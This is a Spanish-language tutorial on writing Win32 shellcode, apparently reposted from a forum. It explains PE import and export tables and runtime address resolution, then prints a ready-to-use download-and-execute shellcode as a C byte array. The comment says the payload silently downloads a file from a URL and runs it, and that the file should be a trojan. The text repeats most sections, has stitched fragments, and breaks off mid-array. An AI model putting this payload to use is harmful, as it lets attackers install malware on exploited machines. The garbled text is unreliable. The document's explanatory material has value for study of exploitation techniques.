/* [Enlace externo eliminado para invitados] */
----
+ Indice Global:
. Primera parte: 'Shellcodes' (por RaiSe).
. Segunda parte: 'Overflows' (por Eid0).
----
[### PRIMERA PARTE ###]
==[ Shellcodes en Win32 ]====================================================
==[ por RaiSe ]==============================================================
--------------
0.- Indice
--------------
0.- Indice
1.- Introduccion
2.- Scodes en Win32
3.- Breve descripcion del formato PE
4.- Export Table
5.- Ejecutando la shellcode
6.- Shellcodes en formato C
7.- Comentarios
8.- Despedida
----------------------
1. Introduccion
----------------------
Por fin me he decidido a escribir un articulo sobre shellcodes en win32. Hace
ya algun tiempo que saque una shellcode para practicamente cualquier Windows
de Microsoft, asi que me basare en ella para escribir este texto. Tengo que
aclarar que no soy ningun experto en sistemas operativos Windows, asi que es
posible que este documento tenga algun error tecnico (espero que no). Si
alguien detecta alguno por favor que me lo haga saber a traves de
[email protected] Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
.
Pues bueno, despues de lo dicho comenzare describiendo un poco por encima la
shellcode que analizaremos. Como algunos sabreis el mayor problema de las
shellcodes (scodes) en win32 son las direcciones 'hardcodeadas'. Se entiende
por direccion hardcodeada aquella que se presupone basandose en datos como el
Sistema Operativo, la version de un programa concreto, etc. Lo ideal
obviamente es no basarse en ninguna direccion hardcodeada, sino sacar el
offset directamente de la imagen del binario en memoria. Sino se hace esto
ultimo se corre el riesgo de que muchas veces no funcione la shellcode, o de
tener que andar calculando y reescribiendo la scode cada vez que vayamos a
progrmar un exploit.
Algo muy comodo para el programador seria una scode que no dependiera de
ninguna (o casi ninguna) direccion hardcodeada. Dicha scode deberia ser
multiplataforma (varios Windows), y que no hiciera falta retocarla para que
funcionase. Una forma de hacer esto es (como ya he dicho) sacando las
direcciones de la propia imagen del binario en memoria. Ello implica un
minimo conocimiento del formato PE (Portable Executable), que es la
estructura que llevan los programas en win32.
Antes de meternos a fondo con la shellcode hagamos un repaso a la
programacion de las mismas en win32. No es que sean muy diferentes a las de
Linux, pero tiene unas caracteristicas bastante particulares.
ya algun tiempo que saque una shellcode para practicamente cualquier Windows
de Microsoft, asi que me basare en ella para escribir este texto. Tengo que
aclarar que no soy ningun experto en sistemas operativos Windows, asi que es
posible que este documento tenga algun error tecnico (espero que no). Si
alguien detecta alguno por favor que me lo haga saber a traves de
[email protected] Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
.
Pues bueno, despues de lo dicho comenzare describiendo un poco por encima la
shellcode que analizaremos. Como algunos sabreis el mayor problema de las
shellcodes (scodes) en win32 son las direcciones 'hardcodeadas'. Se entiende
por direccion hardcodeada aquella que se presupone basandose en datos como el
Sistema Operativo, la version de un programa concreto, etc. Lo ideal
obviamente es no basarse en ninguna direccion hardcodeada, sino sacar el
offset directamente de la imagen del binario en memoria. Sino se hace esto
ultimo se corre el riesgo de que muchas veces no funcione la shellcode, o de
tener que andar calculando y reescribiendo la scode cada vez que vayamos a
progrmar un exploit.
Algo muy comodo para el programador seria una scode que no dependiera de
ninguna (o casi ninguna) direccion hardcodeada. Dicha scode deberia ser
multiplataforma (varios Windows), y que no hiciera falta retocarla para que
funcionase. Una forma de hacer esto es (como ya he dicho) sacando las
direcciones de la propia imagen del binario en memoria. Ello implica un
minimo conocimiento del formato PE (Portable Executable), que es la
estructura que llevan los programas en win32.
Antes de meternos a fondo con la shellcode hagamos un repaso a la
programacion de las mismas en win32. No es que sean muy diferentes a las de
Linux, pero tiene unas caracteristicas bastante particulares.
----------------------------
2.- Scodes en Win32
----------------------------
Como sabreis las shellcodes en Linux usan las llamadas 'syscalls', que las
provee el kernel. Para ello poniamos en los registros los argumentos de la
misma, y ejecutabamos la interrupcion 0x80. En win32 no existen syscalls,
aqui usaremos las api de Windows, cuyas funciones se encuentran situadas en
dlls.
La forma de llamar a una funcion es la siguiente:
Es decir, se usa la pila para colocar los argumentos en orden inverso (el
primer argumento de la funcion sera el ultimo en 'pushear'). Esto en realidad
es la misma forma de como lo hace Linux con las glibc, y que yo sepa la
mayoria de los SO's (al menos en procesadores x86). Pues bien, ahora lo
complicado es lo siguiente: como averiguar la direccion de la funcion?.
Para resolver dicha cuestion usualmente nos basaremos en las dos siguientes
funciones: LoadLibraryA y GetProcAddress. Ambas se encuentran en la dll
'kernel32.dll', incluido en todos los Windows de la familia Microsoft (al
menos desde el 95 hasta el XP). La sintaxis de ambas es la siguiente:
Es decir, LoadLibraryA carga y nos devuelve la direccion base de una dll.
Dicha direccion la usaremos en GetProcAddress para conseguir la direccion de
funcion1, incluida en dicha dll. Si la dll ya estuviera cargada en memoria,
LoadLibraryA nos devolveria la direccion igualmente. Por cierto, la A de
LoadLibraryA es porque esta funcion es la version Ansi de la misma. Algunas
funciones tienen version Ansi y version Unicode. Nosotros siempres usaremos
las Ansi.
Bueno, ya sabemos como cargar dlls, y como recuperar direcciones de funciones
de las mismas para poder usarlas en nuestra shellcode. Pero seguimos teniendo
un problema, como conseguir las direcciones de esas dos funciones?. Hasta
ahora lo que se hacia era conseguir dichas direcciones con un debugger para
un SO en concreto, pero esto tiene graves problemas. Y es que los valores de
las mismas cambian segun que service pack haya instalado, no sirve para otro
SO de la misma familia (ejemplo Windows NT Workstation y Windows NT Server),
etc.. Resumiendo, utilizando este metodo no seria una shellcode generica.
Hay otros metodos como referenciar dichas direcciones desde la imagen del
binario en memoria, pero sin calcularlas en tiempo de ejecucion, sino que hay
que meter los valores al programar la shellcode. La ventaja de este metodo es
que si funciona en varios Windows, pero no para distintos binarios. Estamos
cambiando la dependencia del SO por la dependencia del binario. Este metodo
tambien implica la modificacion de la scode cada vez que se programa un
exploit, con la consiguiente perdida de tiempo. Como he dicho, lo que
buscamos es una shellcode que NO haya que modificar para que funcione, asi
que este metodo tampoco nos vale.
Entonces, cual es la solucion a todos estos problemas?. Muy sencillo, debido
a que la mayoria de los programas para Windows tienen la misma direccion base
en memoria (00400000h), deberemos en tiempo de ejecucion rastrear dicha
imagen, y movernos a traves del PE para sacar las direcciones. Practicamente
el 100% de los programas cargan en memoria la dll 'kernel32', asi que tambien
deberemos rastrear dicha dll para conseguir las funciones. Esto lo veremos
detenidamente mas adelante :). Ahora, hagamos un breve repaso a las
caracteristicas del formato PE que Windows utiliza.
provee el kernel. Para ello poniamos en los registros los argumentos de la
misma, y ejecutabamos la interrupcion 0x80. En win32 no existen syscalls,
aqui usaremos las api de Windows, cuyas funciones se encuentran situadas en
dlls.
La forma de llamar a una funcion es la siguiente:
Código: Seleccionar todo
Push argumento2
Push argumento1
Call direccion_funcion
Es decir, se usa la pila para colocar los argumentos en orden inverso (el
primer argumento de la funcion sera el ultimo en 'pushear'). Esto en realidad
es la misma forma de como lo hace Linux con las glibc, y que yo sepa la
mayoria de los SO's (al menos en procesadores x86). Pues bien, ahora lo
complicado es lo siguiente: como averiguar la direccion de la funcion?.
Para resolver dicha cuestion usualmente nos basaremos en las dos siguientes
funciones: LoadLibraryA y GetProcAddress. Ambas se encuentran en la dll
'kernel32.dll', incluido en todos los Windows de la familia Microsoft (al
menos desde el 95 hasta el XP). La sintaxis de ambas es la siguiente:
Código: Seleccionar todo
Direccion_base_libreria = LoadLibraryA("ejemplo.dll");
Direccion_base_funcion1 =
GetProcAddress(Direccion_base_libreria, "funcion1");
Dicha direccion la usaremos en GetProcAddress para conseguir la direccion de
funcion1, incluida en dicha dll. Si la dll ya estuviera cargada en memoria,
LoadLibraryA nos devolveria la direccion igualmente. Por cierto, la A de
LoadLibraryA es porque esta funcion es la version Ansi de la misma. Algunas
funciones tienen version Ansi y version Unicode. Nosotros siempres usaremos
las Ansi.
Bueno, ya sabemos como cargar dlls, y como recuperar direcciones de funciones
de las mismas para poder usarlas en nuestra shellcode. Pero seguimos teniendo
un problema, como conseguir las direcciones de esas dos funciones?. Hasta
ahora lo que se hacia era conseguir dichas direcciones con un debugger para
un SO en concreto, pero esto tiene graves problemas. Y es que los valores de
las mismas cambian segun que service pack haya instalado, no sirve para otro
SO de la misma familia (ejemplo Windows NT Workstation y Windows NT Server),
etc.. Resumiendo, utilizando este metodo no seria una shellcode generica.
Hay otros metodos como referenciar dichas direcciones desde la imagen del
binario en memoria, pero sin calcularlas en tiempo de ejecucion, sino que hay
que meter los valores al programar la shellcode. La ventaja de este metodo es
que si funciona en varios Windows, pero no para distintos binarios. Estamos
cambiando la dependencia del SO por la dependencia del binario. Este metodo
tambien implica la modificacion de la scode cada vez que se programa un
exploit, con la consiguiente perdida de tiempo. Como he dicho, lo que
buscamos es una shellcode que NO haya que modificar para que funcione, asi
que este metodo tampoco nos vale.
Entonces, cual es la solucion a todos estos problemas?. Muy sencillo, debido
a que la mayoria de los programas para Windows tienen la misma direccion base
en memoria (00400000h), deberemos en tiempo de ejecucion rastrear dicha
imagen, y movernos a traves del PE para sacar las direcciones. Practicamente
el 100% de los programas cargan en memoria la dll 'kernel32', asi que tambien
deberemos rastrear dicha dll para conseguir las funciones. Esto lo veremos
detenidamente mas adelante :). Ahora, hagamos un breve repaso a las
caracteristicas del formato PE que Windows utiliza.
---------------------------------------------
3.- Breve descripcion del formato PE
---------------------------------------------
Hay bastantes documentos por ahi que describen en profundidad este formato de
ejecutable. No es mi intencion ni mucho menos hacer un analisis exahustivo
del mismo, os recomiendo para ello un documento disponible en la web de
Microsoft (PECOFF). En este apartado nombrare un poco las secciones que nos
interesan para hacer funcionar nuestra shellcode.
Pues bueno, para empezar todo ejecutable (ya se una exe o una dll) tiene una
direccion base que es donde se carga en memoria. Como ya he comentado en los
exe's el 99% de las veces es 00400000h. En las dll's esta direccion varia
dependiendo del Sistema Operativo, ServicePacks instalados, etc. Se conoce
como direccion RVA (Relative Virtual Address) a un offset que sumado a la
direccion base da como resultado el VA (Virtual Address). Un ejemplo
sencillo:
El VA es lo que nos interesa para poder llamar a las funciones, ya que
haremos 'call VA_Funcion'. Pues bien, a nosotros mas o menos solo nos
interesaran las secciones Import Table (itable) y Export Table (etable). La
itable contendra informacion de funciones externas residentes en dlls, que se
llamaran desde el propio binario. Y la etable todo lo contrario, contendra
informacion de funciones internas que seran llamadas desde otro binario o
dll. Como habreis podido deducir, lo que haremos sera rastrear la itable del
programa vulnerable, y mas tarde la etable de la dll 'kernel32.dll'. Cada
tabla contiene entre otras cosas el nombre de la librera, numero de
funciones que contiene, el nombre de cada funcion, la VA de cada funcion,
etc.
Para llegar a la itable (y luego a la etable de kernel32.dll) necesitaremos
rastrear la imagen del binario en memoria. Seria imposible explicar aqu el
formato PE completo, asi que os recomiendo un analisis exahustivo de dicho
formato para poder seguir lo que hace la shellcode. Aun asi pegare aqui
brevemente el formato de la itable y de la etable.
Nada mas empezar la imagen nos encontraremos una cabecera y una seccion para
hacer compatible el binario con el antiguo formato de MS-DOS. Dicha seccion
normalmente lo que hara sera mostrar un mensaje tipo: "Version Incorrecta", y
salir del proceso. Justo despues de dicha seccion estara el PE Header. La
forma facil de llegar a el es usar un Offset que contendra la direccion
relativa del PE Header. Dicho Offset se encuentra al principio de la seccion
de MS-DOS Compatible, a 3Ch para ser exactos de 00400000h. Una vez en el PE
Header sabemos que la itable comienza a 80h del mismo, asi que ya estaremos
en situacion de empezar a explorar :). Una vez situados en la itable nos
encontraremos lo siguiente:
Os estareis preguntando: que narices es todo esto?. Pues varias cosas.. Lo
primero que encontramos es el Directory Table, que es una tabla de 20 bytes
de longitud que sigue la siguiente estructura:
A nosotros solo nos interesan el primer campo, el cuarto y el ultimo. El
primero contiene la direccion relativa de la Import Lookup Table, que tiene
la siguiente estructura:
Hay dos formas de importar una funcion, por numero ordinal o por el nombre de
la misma. Si es por numero ordinal, la lookup table contendra un valor de 32
bits (en la table pone 32 o 64, pero en x86 es de 32) cuyo bit 31 esta
seteado. Como los numeros ordinales no suelen tener valores altos, nosotros
lo que haremos sera comparar el byte de mas valor con 80h, para saber si es
import por ordinal o por nombre.
Si el byte 31 esta desactivado, la lookup table contrendra un valor de 32
bits (cuyo bit de mas valor esta a cero) que sera la RVA de la Hint/Name
Table, cuya estructura es la siguiente:
Es decir, en la VA de Hint/Name Table + 2, estara el string de la funcion a
importar. Resumiendo, la shellcode lo que hara sera ir comparando en cada
entrada del Directory Table el nombre de la dll para ver si es kernel32.dll,
si lo es saltara a la Import Lookup Table. Una vez alli ira comparando cada
funcion para ver cual es LoadLibraryA (o GetModuleHandleA, segun la
shellcode) mirando el nombre de la misma en la Hint/Name Table, y comprobando
primero que no sea importada por ordinal.
Una vez que sepamos en que posicion de la Import Lookup Table esta
LoadLibraryA, sera la hora de averiguar su direccion VA dentro de la dll.
Para eso usaremos la Import Address Table, que no es mas que un array de
punteros de 32 bits a las direcciones virtuales (VA) de cada funcion. Por
ejemplo, si LoadLibraryA estaba en la posicion 5 de la Import Lookup Table,
en la direccion de la Import Address Table + (5*4) estara la VA de la
funcion.
Una vez tengamos la direccion de LoadLibraryA hacemos un call para sacar la
direccion VA de kernel32.dll en memoria: LoadLibraryA("KERNEL32"). Cuando la
tengamos habra que sacar la direccion de GetProcAddress de la Export Table de
la dll, y una vez la averiguemos, habra que cargar 'wininet.dll', y sacar con
un par de bucles las direcciones de cada funcion (usando GetProcAddress).
Veamoslo en el siguiente apartado.
ejecutable. No es mi intencion ni mucho menos hacer un analisis exahustivo
del mismo, os recomiendo para ello un documento disponible en la web de
Microsoft (PECOFF). En este apartado nombrare un poco las secciones que nos
interesan para hacer funcionar nuestra shellcode.
Pues bueno, para empezar todo ejecutable (ya se una exe o una dll) tiene una
direccion base que es donde se carga en memoria. Como ya he comentado en los
exe's el 99% de las veces es 00400000h. En las dll's esta direccion varia
dependiendo del Sistema Operativo, ServicePacks instalados, etc. Se conoce
como direccion RVA (Relative Virtual Address) a un offset que sumado a la
direccion base da como resultado el VA (Virtual Address). Un ejemplo
sencillo:
Código: Seleccionar todo
Ibase (Imagen base abreviado) = 00400000h
RVA de Pepe = 200h
VA de Pepe = Ibase + RVA = 00400200h
haremos 'call VA_Funcion'. Pues bien, a nosotros mas o menos solo nos
interesaran las secciones Import Table (itable) y Export Table (etable). La
itable contendra informacion de funciones externas residentes en dlls, que se
llamaran desde el propio binario. Y la etable todo lo contrario, contendra
informacion de funciones internas que seran llamadas desde otro binario o
dll. Como habreis podido deducir, lo que haremos sera rastrear la itable del
programa vulnerable, y mas tarde la etable de la dll 'kernel32.dll'. Cada
tabla contiene entre otras cosas el nombre de la librera, numero de
funciones que contiene, el nombre de cada funcion, la VA de cada funcion,
etc.
Para llegar a la itable (y luego a la etable de kernel32.dll) necesitaremos
rastrear la imagen del binario en memoria. Seria imposible explicar aqu el
formato PE completo, asi que os recomiendo un analisis exahustivo de dicho
formato para poder seguir lo que hace la shellcode. Aun asi pegare aqui
brevemente el formato de la itable y de la etable.
Nada mas empezar la imagen nos encontraremos una cabecera y una seccion para
hacer compatible el binario con el antiguo formato de MS-DOS. Dicha seccion
normalmente lo que hara sera mostrar un mensaje tipo: "Version Incorrecta", y
salir del proceso. Justo despues de dicha seccion estara el PE Header. La
forma facil de llegar a el es usar un Offset que contendra la direccion
relativa del PE Header. Dicho Offset se encuentra al principio de la seccion
de MS-DOS Compatible, a 3Ch para ser exactos de 00400000h. Una vez en el PE
Header sabemos que la itable comienza a 80h del mismo, asi que ya estaremos
en situacion de empezar a explorar :). Una vez situados en la itable nos
encontraremos lo siguiente:
Código: Seleccionar todo
Directory Table
Null Entry
DLL1 Import Lookup Table
Null
DLL2 Import Lookup Table
Null
..
Hint-Name Table
primero que encontramos es el Directory Table, que es una tabla de 20 bytes
de longitud que sigue la siguiente estructura:
Código: Seleccionar todo
Offset Size Campo Descripcion
------------------------------------------------------------
0 4 Import Lookup RVA de la Import Lookup
Table RVA Table.
4 4 Time/Date Time/data stamp de la DLL.
Stamp
8 4 Fowarder Chain Index of first forwarder
reference.
12 4 Name RVA RVA del nombre en ascii de
la DLL.
16 4 Import Address RVA de la Import Address
Table RVA Table.
A nosotros solo nos interesan el primer campo, el cuarto y el ultimo. El
primero contiene la direccion relativa de la Import Lookup Table, que tiene
la siguiente estructura:
Código: Seleccionar todo
Bit(s) Size Bit Campo Descripcion
------------------------------------------------------------
31 / 63 1 Ordinal/Name Si el bit esta seteado,
Flag se importa por ordinal.
Sino se importa por
nombre.
30 - 0 / 31 / Ordinal Number Numero ordinal.
62 - 0 63
30 - 0 / 31 / Hint/Name RVA de la Hint/Name Table
62 - 0 63 Table RVA RVA.
Hay dos formas de importar una funcion, por numero ordinal o por el nombre de
la misma. Si es por numero ordinal, la lookup table contendra un valor de 32
bits (en la table pone 32 o 64, pero en x86 es de 32) cuyo bit 31 esta
seteado. Como los numeros ordinales no suelen tener valores altos, nosotros
lo que haremos sera comparar el byte de mas valor con 80h, para saber si es
import por ordinal o por nombre.
Si el byte 31 esta desactivado, la lookup table contrendra un valor de 32
bits (cuyo bit de mas valor esta a cero) que sera la RVA de la Hint/Name
Table, cuya estructura es la siguiente:
Código: Seleccionar todo
Offset Size Campo Descripcion
----------------------------------------------------------
0 2 Hint No nos importa.
2 variable Name String ASCII de la funcion a
importar (case sensitive).
* 0 or 1 Pad Pad de alineamiento.
Es decir, en la VA de Hint/Name Table + 2, estara el string de la funcion a
importar. Resumiendo, la shellcode lo que hara sera ir comparando en cada
entrada del Directory Table el nombre de la dll para ver si es kernel32.dll,
si lo es saltara a la Import Lookup Table. Una vez alli ira comparando cada
funcion para ver cual es LoadLibraryA (o GetModuleHandleA, segun la
shellcode) mirando el nombre de la misma en la Hint/Name Table, y comprobando
primero que no sea importada por ordinal.
Una vez que sepamos en que posicion de la Import Lookup Table esta
LoadLibraryA, sera la hora de averiguar su direccion VA dentro de la dll.
Para eso usaremos la Import Address Table, que no es mas que un array de
punteros de 32 bits a las direcciones virtuales (VA) de cada funcion. Por
ejemplo, si LoadLibraryA estaba en la posicion 5 de la Import Lookup Table,
en la direccion de la Import Address Table + (5*4) estara la VA de la
funcion.
Una vez tengamos la direccion de LoadLibraryA hacemos un call para sacar la
direccion VA de kernel32.dll en memoria: LoadLibraryA("KERNEL32"). Cuando la
tengamos habra que sacar la direccion de GetProcAddress de la Export Table de
la dll, y una vez la averiguemos, habra que cargar 'wininet.dll', y sacar con
un par de bucles las direcciones de cada funcion (usando GetProcAddress).
Veamoslo en el siguiente apartado.
----------------------
4.- Export Table
----------------------
Bueno, pues se supone que ya tenemos la direccion de LoadLibraryA y nos
disponemos a rastrear la Export Table. Ya se que hasta aqui es todo muy
teorico pero es que sino no se como explicarlo.. Veamos, lo primero es ir a
la direccion base de KERNEL32 (que nos la devolvio LoadLibraryA). Una vez
alli rastreando el PE Header nos vamos a la Export Table. Nos encontramos
esto:
Pues bien, como veis esto es un tanto lioso de seguir. La Export Address
Table contendra las RVA (relativas a la base de la dll) de las funciones a
exportar. La Name Pointer Table contendra punteros que estan apuntando cada
uno a la Export Name Table, que es la que contiene las cadenas en ascii. Y la
Ordinal Table contendra numeros ordinales que serviran de indice en la Export
Address Table.
Es decir, lo primero seria ir a la Name Pointer Table. De ahi comparar el
nombre al que apunta cada puntero con 'GetProcAddress', si coincide usar la
posicion en que se encontro en la Ordinal Table a modo de indice. Por ejemplo
si GetProcAddress estaba en la posicion 5 de la Name Pointer Table el ordinal
estara en la direccion de Ordinal Table + (5*2), ya que los ordinales son de
16 bits. El ordinal que este en esa posicion se usara de indice en la Export
Address Table para sacar la RVA de la funcion.
La estructura de la Export Directory Table es la siguiente:
Usaremos el numero de entradas en la Name Pointer Table para saber cuando
debemos parar el bucle. Una vez que tengamos la VA de GetProcAddress
procederemos a cargar wininet.dll, y a sacar las siguientes funciones.
Despues de tener todas las VA guardadas (usaremos ebp como offset para
referenciarlas), podemos empezar a ejecutar la shellcode x fin.
disponemos a rastrear la Export Table. Ya se que hasta aqui es todo muy
teorico pero es que sino no se como explicarlo.. Veamos, lo primero es ir a
la direccion base de KERNEL32 (que nos la devolvio LoadLibraryA). Una vez
alli rastreando el PE Header nos vamos a la Export Table. Nos encontramos
esto:
Código: Seleccionar todo
Table Name Descripcion
---------------------------------------------------------------------
Export Directory Table Informacion muy interesante.
Export Address Table Array of RVA's de las funciones.
Name Pointer Table Array de punteros a los nombres de las
funciones.
Ordinal Table Array de ordinales.
Export Name Table Cadenas ASCII terminadas en nulls y
seguidas en memoria, correspondientes a
las funciones (entre otras cosas) a
exportar.
Table contendra las RVA (relativas a la base de la dll) de las funciones a
exportar. La Name Pointer Table contendra punteros que estan apuntando cada
uno a la Export Name Table, que es la que contiene las cadenas en ascii. Y la
Ordinal Table contendra numeros ordinales que serviran de indice en la Export
Address Table.
Es decir, lo primero seria ir a la Name Pointer Table. De ahi comparar el
nombre al que apunta cada puntero con 'GetProcAddress', si coincide usar la
posicion en que se encontro en la Ordinal Table a modo de indice. Por ejemplo
si GetProcAddress estaba en la posicion 5 de la Name Pointer Table el ordinal
estara en la direccion de Ordinal Table + (5*2), ya que los ordinales son de
16 bits. El ordinal que este en esa posicion se usara de indice en la Export
Address Table para sacar la RVA de la funcion.
La estructura de la Export Directory Table es la siguiente:
Código: Seleccionar todo
Offset Size Campo Descripcion
------------------------------------------------------------
0 4 Export Flags No interesa.
4 4 Time/Date No interesa.
Stamp
8 2 Major Version No interesa.
10 2 Minor Version No interesa.
12 4 Name RVA RVA del nombre en ascii de
la dll.
16 4 Ordinal Base Ordinal base inicial.
Normalmente 1.
20 4 Address Table Numero de entradas en la
Entries Export Address Table.
24 4 Number of Name Numero de entradas en la
Pointers Name Pointer Table (las
mismas que en la Ordinal
Table).
28 4 Export Address RVA de la Export Address
Table RVA Table.
32 4 Name Pointer RVA de la Export Name
RVA Pointer Table.
36 4 Ordinal Table RVA de la Ordinal Table.
RVA
Usaremos el numero de entradas en la Name Pointer Table para saber cuando
debemos parar el bucle. Una vez que tengamos la VA de GetProcAddress
procederemos a cargar wininet.dll, y a sacar las siguientes funciones.
Código: Seleccionar todo
* Funciones de KERNEL32.dll:
. _lcreat
. _lwrite
. _GlobalAlloc
. _lclose
. Winexec
. ExitProcess
* Funciones de WININET.dll:
. InternetOpenA
. InternetOpenUrlA
. InternetReadFile
. InternetCloseHandle
referenciarlas), podemos empezar a ejecutar la shellcode x fin.
-------------------------------------
5.- Ejecutando la shellcode
-------------------------------------
Al fin podemos ejecutar la shellcode propiamente dicha. Lo que hicimos hasta
aqui fue recuperar las direcciones de cada funcion. Ahora, resumiendo,
veremos lo que hace la scode.
. Primero reservamos memoria con GlobalAlloc, 2 Mb y algo para ser exactos.
Aqui es donde guardaremos el archivo que leeremos de Internet antes de
salvarlo en el disco. La direccion que devuelve la guardamos usando ebp como
offset.
. Llamamos a InternetOpenA para inicializar la conexion.
. Llamamos a InternetOpenUrlA pasandole la direccion exacta para conectar con
el server Web.
. Llamamos a InternetReadFile y guardamos el archivo en la zona de memoria
que reservamos antes con GlobalAlloc.
. Cerramos las conexiones con InternetCloseHandle.
. Llamamos a _lcreat para crear el archivo en el directorio de trabajo
actual.
. Lo escribimos con _lwrite y lo cerramos con _lclose.
. Ejecutamos en otro proceso el archivo valiendonos de Winexec.
. Salimos del proceso padre con ExitProcess para que no de ningun warning el
programa vulnerable que explotamos.
Finito :). Lo he ultra-resumido porque sino se haria eterno. El que quiera
puede bajarse las fuentes en ensamblador con comentarios de la web
[Enlace externo eliminado para invitados]. Abajo incluyo las dos shellcodes listas para ser
usadas en formato C.
aqui fue recuperar las direcciones de cada funcion. Ahora, resumiendo,
veremos lo que hace la scode.
. Primero reservamos memoria con GlobalAlloc, 2 Mb y algo para ser exactos.
Aqui es donde guardaremos el archivo que leeremos de Internet antes de
salvarlo en el disco. La direccion que devuelve la guardamos usando ebp como
offset.
. Llamamos a InternetOpenA para inicializar la conexion.
. Llamamos a InternetOpenUrlA pasandole la direccion exacta para conectar con
el server Web.
. Llamamos a InternetReadFile y guardamos el archivo en la zona de memoria
que reservamos antes con GlobalAlloc.
. Cerramos las conexiones con InternetCloseHandle.
. Llamamos a _lcreat para crear el archivo en el directorio de trabajo
actual.
. Lo escribimos con _lwrite y lo cerramos con _lclose.
. Ejecutamos en otro proceso el archivo valiendonos de Winexec.
. Salimos del proceso padre con ExitProcess para que no de ningun warning el
programa vulnerable que explotamos.
Finito :). Lo he ultra-resumido porque sino se haria eterno. El que quiera
puede bajarse las fuentes en ensamblador con comentarios de la web
[Enlace externo eliminado para invitados]. Abajo incluyo las dos shellcodes listas para ser
usadas en formato C.
-------------------------------------
6.- Shellcodes en formato C
-------------------------------------
Código: Seleccionar todo
<++>
/*
* Shellcode generica en todos los windows de la familia 98/ME/NT/2000/XP
* Necesita tener la funcion GetModuleHandleA en la import table
* Probabilidades de que funcione: 99,99%
* 790 bytes
*
* Una vez ejecutada se baja el fichero de la URL escogida, lo ejecuta
* silenciosamente y sale del proceso original. Dicho fichero puede (y
* debe }:) ) ser un troyano. El limite de tama¤o es de 2.2 mb del fichero
* a bajar aproximadamente, y se guarda con el nombre 'nssc.exe' en el
* ordenador remoto. Lo unico modificable de la shellcode es la URL.
*/
char scode[] =
"\xEB\x30\x5F\xFC\x8B\xF7\x80"
"\x3F\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x8B\xE6\x33\xD2\xB2\x04\xC1"
"\xE2\x08\x2B\xE2\x8B\xEC\x33\xD2\xB2\x03\xC1\xE2\x08\x2B\xE2\x54\x5A\xB2\x7C\x8B"
"\xE2\xEB\x02\xEB\x57\x89\x75\xFC\x33\xC0\xB4\x40\xC1\xE0\x08\x89\x45\xF8\x8B\x40"
"\x3C\x03\x45\xF8\x8D\x40\x7E\x8B\x40\x02\x03\x45\xF8\x8B\xF8\x8B\x7F\x0C\x03\x7D"
"\xF8\x81\x3F\x4B\x45\x52\x4E\x74\x07\x83\xC0\x14\x8B\xF8\xEB\xEB\x50\x8B\xF8\x33"
"\xC9\x33\xC0\xB1\x10\x8B\x17\x03\x55\xF8\x52\xEB\x03\x57\x8B\xD7\x80\x7A\x03\x80"
"\x74\x16\x8B\x32\x03\x75\xF8\x83\xC6\x02\xEB\x02\xEB\x7E\x8B\x7D\xFC\x51\xF3\xA6"
"\x59\x5F\x74\x06\x40\x83\xC7\x04\xEB\xDB\x5F\x8B\x7F\x10\x03\x7D\xF8\xC1\xE0\x02"
"\x03\xF8\x8B\x07\x8B\x5D\xFC\x8D\x5B\x11\x53\xFF\xD0\x89\x45\xF4\x8B\x40\x3C\x03"
"\x45\xF4\x8B\x70\x78\x03\x75\xF4\x8D\x76\x1C\xAD\x03\x45\xF4\x89\x45\xF0\xAD\x03"
"\x45\xF4\x89\x45\xEC\xAD\x03\x45\xF4\x89\x45\xE8\x8B\x55\xEC\x8B\x75\xFC\x8D\x76"
"\x1E\x33\xDB\x33\xC9\xB1\x0F\x8B\x3A\x03\x7D\xF4\x56\x51\xF3\xA6\x59\x5E\x74\x06"
"\x43\x8D\x52\x04\xEB\xED\xD1\xE3\x8B\x75\xE8\x03\xF3\x33\xC9\x66\x8B\x0E\xEB\x02"
"\xEB\x7D\xC1\xE1\x02\x03\x4D\xF0\x8B\x09\x03\x4D\xF4\x89\x4D\xE4\x8B\x5D\xFC\x8D"
"\x5B\x2D\x33\xC9\xB1\x07\x8D\x7D\xE0\x53\x51\x53\x8B\x55\xF4\x52\x8B\x45\xE4\xFC"
"\xFF\xD0\x59\x5B\xFD\xAB\x8D\x64\x24\xF8\x38\x2B\x74\x03\x43\xEB\xF9\x43\xE2\xE1"
"\x8B\x45\xE0\x53\xFC\xFF\xD0\xFD\xAB\x33\xC9\xB1\x04\x8D\x5B\x0C\xFC\x53\x51\x53"
"\x8B\x55\xC4\x52\x8B\x45\xE4\xFF\xD0\x59\x5B\xFD\xAB\x38\x2B\x74\x03\x43\xEB\xF9"
"\x43\xE2\xE5\xFC\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\x52\x8B\x45\xD4\xFF\xD0"
"\x89\x45\xB0\x33\xD2\xEB\x02\xEB\x77\x52\x52\x52\x52\x53\x8B\x45\xC0\xFF\xD0\x8D"
"\x5B\x03\x89\x45\xAC\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52\x52\x8D\x7B"
"\x09\x57\x50\x8B\x45\xBC\xFF\xD0\x89\x45\xA8\x8D\x55\xA0\x52\x33\xD2\xB6\x1F\xC1"
"\xE2\x08\x52\x8B\x4D\xB0\x51\x50\x8B\x45\xB8\xFF\xD0\x8B\x4D\xA8\x51\x8B\x45\xB4"
"\xFF\xD0\x8B\x4D\xAC\x51\x8B\x45\xB4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xDC\xFF\xD0"
"\x89\x45\xA4\x8B\x7D\xA0\x57\x8B\x55\xB0\x52\x50\x8B\x45\xD8\xFF\xD0\x8B\x55\xA4"
"\x52\x8B\x45\xD0\xFF\xD0\xEB\x02\xEB\x12\x33\xD2\x90\x52\x53\x8B\x45\xCC\xFF\xD0"
"\x33\xD2\x52\x8B\x45\xC8\xFF\xD0\xE8\xE6\xFD\xFF\xFF\x47\x65\x74\x4D\x6F\x64\x75"
"\x6C\x65\x48\x61\x6E\x64\x6C\x65\x41\x08\x6B\x65\x72\x6E\x65\x6C\x33\x32\x2E\x64"
"\x6C\x6C\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x4C\x6F"
"\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x08\x5F\x6C\x63\x72\x65\x61\x74\x08\x5F"
"\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61\x6C\x41\x6C\x6C\x6F\x63\x08\x5F"
"\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78\x65\x63\x08\x45\x78\x69\x74\x50"
